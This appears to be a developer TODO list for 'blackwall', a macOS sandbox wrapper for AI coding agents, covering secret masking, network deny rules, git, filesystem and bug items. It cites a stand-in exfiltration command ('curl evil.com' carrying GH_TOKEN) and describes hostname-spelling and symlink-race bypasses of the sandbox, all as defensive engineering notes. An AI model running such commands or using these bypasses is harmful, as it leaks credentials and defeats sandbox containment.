Skip to content

Latest commit

 

History

History
46 lines (32 loc) · 11.4 KB

TODO.md

File metadata and controls

46 lines (32 loc) · 11.4 KB

TODO

Secrets

  • Per-command env files: ~/.blackwall/<command>.env (e.g. claude.env, codex.env) goes only to that command, so tokens like CLAUDE_CODE_OAUTH_TOKEN stay away from every other sandboxed command without app-specific code in blackwall.js
  • Mask GH_TOKEN with srt's credentials, its secret-masking feature: credentials.envVars with mode mask gives the sandboxed command a sentinel in place of the real value, and srt's proxy swaps the real secret in on the way out, only toward injectHosts. A leak through curl evil.com -H "$GH_TOKEN" under "*" then carries the sentinel. It limits exfiltration, not misuse: GitHub still gets the real token, so a run can still push with it. Same for files, e.g. ~/.npmrc, with an extract regex for the secret part; awsPairs and sigv4 cover AWS keys, which the proxy must re-sign. Not an srt pass-through, a feature: (1) over HTTPS the proxy sees only CONNECT, so swapping an Authorization header needs network.tlsTerminate, experimental, a MITM CA inside the sandbox with a trust bundle through env vars, and Go tools like gh then verify that CA through trustd, which is what enableWeakerNetworkIsolation is for; allowPlaintextInject stays off, since plain HTTP is unverified. (2) Secrets come from ~/.blackwall/.env and presets set env, so the github preset should own the mask, with injectHosts: ["api.github.com", "github.com"], and --print-env should show the sentinel. (3) injectHosts defaults to srt's allowedDomains, which under "*" is the preset hosts only because blackwall strips "*"; pin it, don't rely on that. Ships with an e2e check that the sentinel, not the token, reaches a non-GitHub host
  • CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1 strips credentials from Claude's Bash tool, hooks, and MCP children, but since v2.1.251 it also strips CLAUDE_CONFIG_DIR (nested claude calls lose the profile), yet GH_TOKEN still reaches Bash children

Network

  • Deny the on-link prefixes of this machine's own interfaces (os.networkInterfaces() cidr), so the LAN is covered whatever its numbering: private-network refuses RFC 1918, CGNAT, and ULA only, so a LAN host with a global IPv6 address or on a public-numbered LAN stays reachable
  • CIDR ranges in network.allowedHosts: the callback allows an IP literal inside the range. Needs strictAllowlist off whenever a CIDR is present, and a README note that it matches literal requests only, never a name resolving into the range
  • Upstream to srt: canonicalizeHost strips one trailing dot only, so evil.com.. becomes evil.com. and misses a deniedDomains entry for evil.com while resolvers dial it as evil.com; and . becomes "", which net.connect dials as localhost and the resolved-address guard allows, over CONNECT, plain HTTP, and SOCKS5 alike, whenever an ask callback allows unknown hosts. requireAsciiHost would catch both but is on only in proxy-only mode and covers HTTP only. Blackwall's callback refuses both spellings (ac004ee) and passes deniedDomains: [], so only srt's own deny path, which Claude Code's sandbox uses, is affected. Still in 0.0.81 and on main
  • Upstream to srt: set NODE_USE_ENV_PROXY=1 next to GRPC_PROXY in sandbox-utils.js, since Node's fetch ignores HTTPS_PROXY without it; srt PR #738 added it for Windows only. The node preset sets it meanwhile (42110fd)

Git

  • Git worktree detection (agent-safehouse): when git rev-parse --git-common-dir is outside cwd and --add-dirs, grant it read/write and keep its hooks/ and config in denyWrite. If it passes srt git.safeDirectories, srt numbers its safe.directory entries from the launcher's GIT_CONFIG_COUNT, not the child env's, so they overwrite the git preset's commit.gpgsign=false
  • Signed commits from sandboxed runs: gpg can't reach ~/.gnupg, so commits are unsigned. Until then: git rebase --exec 'git commit --amend --no-edit -S' <base>
  • Upstream the proxy-login fix to srt: credential.http://localhost:<port>.helper= next to http.proxyAuthMethod=basic in GIT_CONFIG_PARAMETERS (sandbox-utils.js), so other srt users stop persisting the proxy token, and GIT_HTTP_PROXY_AUTHMETHOD=basic as an env var beside it, since pre-commit's no_git_env() drops GIT_CONFIG_PARAMETERS and cloning hook repos then fails with Proxy CONNECT aborted. Blackwall's git preset handles the first locally through its shell line and the pre-commit preset the second

Config

  • Should blackwall allow setting srt config in config.json? Today srt takes only the two keys in default-config.json, and both configs can set them. Exposing a key means listing it with its default in default-config.json, so it shows in --print-config; its tier decides which config may set it
    • Both configs, can't widen the sandbox: ignoreViolations (suppresses violation reports, not enforcement)
    • User config only, which needs a user-only tier the schema lacks: network.allowUnixSockets (/var/run/docker.sock is host access, per srt's README); network.allowMachLookup (presets can already set it; a config key would add XPC services for 1Password CLI, Playwright, the iOS Simulator; same class as the trustd hole); network.allowLocalBinding (dev servers that bind a port inside the sandbox); javaAgentJarPath (a binary srt executes, so from a repo the sandbox would be the repo's own code)
    • Never: allowAppleEvents (srt's README: removes code-execution isolation, user-level only); network.allowAllUnixSockets (disables socket blocking); network.httpProxyPort, network.socksProxyPort (srt stops filtering, the external proxy must); network.mitmProxy, network.tlsTerminate, network.filterRequest (interception, and filterRequest is a function); network.parentProxy (already set through HTTP_PROXY, see Known Limitations in the README); srt's own network and filesystem lists, which blackwall builds; windows
    • git.safeDirectories collides with the git preset's GIT_CONFIG_COUNT, see the worktree item. credentials is a feature of its own, see the GH_TOKEN masking item under Secrets

Filesystem

  • Upstream to srt: getDangerousDirectories() always denies writes to .vscode, .idea, .claude/commands, and .claude/agents but not .claude/settings.json (hooks, env, apiKeyHelper) or .codex/hooks.json, which a program executes with no model in between just the same. Ask for the settings and hook files only, since skills stay writable on purpose (see AGENTS.md). Blackwall's presets deny them meanwhile
  • Upstream to srt, macOS: an allowRead carve-out inside a denyRead folder stays denied (denyRead: ["secrets"], allowRead: ["secrets/public"], then secrets/public/key fails), though srt's README says allowRead wins. Seen on 0.0.79; recheck on 0.0.81 before filing
  • Package-manager safety settings don't apply inside the sandbox: min-release-age and ignore-scripts set in ~/.npmrc read as unset there, since the file is unreadable. Same for ~/.bunfig.toml and ~/.config/pip/pip.conf; only ~/.config/uv/uv.toml is readable. Passing the values in through ~/.blackwall/.env would conflict with --no-config, which skips that file

Launch

  • --presets clipboard,screenshots: adds presets for one run, like --add-dir and --allow-internet, so a one-session need like pasting a screenshot doesn't need config.json. Additive only; dropping a preset stays overrideDefaults. Comma list, not space-separated: blackwall --presets clipboard node script.js would swallow node, a preset name and a command. Ships with the usage line, --print-config showing it, zsh completion with the preset names, a Usage row in the README and SKILL.md, and an e2e check
  • Keep the machine awake while a sandboxed command runs: the launcher, not the sandbox, holds the assertion, since inside Seatbelt caffeinate needs a power-management mach lookup that srt likely denies (unverified). macOS: spawn caffeinate -i -w <child pid> next to the child, so it ends with the child and survives the launcher only as long as the pid does. Opt-in (--keep-awake or a config key, user config only), since idle sleep is the user's power policy and an agent should not change it from a repo
  • Upstream to Claude Code: with CLAUDE_CODE_PLUGIN_SEED_DIR, a missing user-scope installed_plugins.json record is written with the marketplace HEAD version and an installPath nothing creates, and record sync only adds entries, so the version freezes and the loader falls back or hits plugin-cache-miss silently; managed-scope records heal. Blackwall merges the host record on each launch meanwhile (29b2570), relying on undocumented loader behavior

Bugs

  • A sandboxed node program aborts at startup with a native stack trace (node::InitializeOncePerProcessInternal) and no error message when its stdout or stderr is a file outside the grants: blackwall codex --version > ../out.txt with npm's codex on Node 24.20.0 on macOS. A pipe or a file under the current folder works. Likely Node's startup check on fds 0-2 failing on a file the sandbox can't read, unverified. The fix is cheap, the symptom isn't: nothing points at blackwall, so an agent would chase a Node bug. At least a "Reading a denial" row in the skill, with an e2e check
  • Each launch checks a profile folder and ~/.cache-blackwall for a symlink, then uses it, so on macOS a sandboxed session still running can swap the folder for a link while a second launch copies files in, and that launch's rmSync and cpSync follow it: the shared files in ~/.claude or ~/.codex get deleted, though reads of them are not regained, since the read-grant walk refuses a link the sandbox can write. Closing it needs either srt emitting Seatbelt's (deny file-write-unlink (literal X)) for each allowWrite root, which no srt config key does today, or Node *at APIs (openat, unlinkat, fdopendir) to work from a held folder handle. Shelling out to rm doesn't help, since it resolves the swapped root before walking it
  • srt issues #606 and #756 (PRs #377, #612, #781 open): its proxy truncates Connection: close responses, which Claude Code's WebFetch reports as <error>aborted</error> for part of a parallel batch while curl -sIL on the same URLs returns 200. http-proxy.js closes a tunnel with upstream.on('close', () => socket.destroy()), so when the origin FINs right after the body, the client socket is destroyed before the bytes still queued toward the mux's unix socket (8 KB net.local.stream.sendspace on macOS) flush: the client sees 200 and a short body, and Bun's node:http raises aborted. Decided per connection by size and timing, not per host: pages under about 30 KB pass, bigger ones lose their tail. Reproduced outside Seatbelt with srt 0.0.81's mux plus http-proxy: 6-7 of 12 fetches fail, 0 of 12 once destroy() is skipped while socket.writableLength > 0, as mux-proxy.js already does with closeAfterFlush. Keep-alive never fails, and curl -sIL hides it (HEAD, keep-alive). It also breaks the built-in Anthropic Directory marketplace in Claude Code's /plugin (Anthropic Directory is unavailable: it could not be reached, debug log plugin directory search failed (http): aborted): its catalog pages from api.anthropic.com/api/directory/plugins run to about 240 KB, and the Directory loads once http-proxy.js skips destroy() while socket.writableLength > 0. No preset can fix it; add the repro to #606 rather than a new issue, and until the fix lands fetch in small batches or use gh api/curl from Bash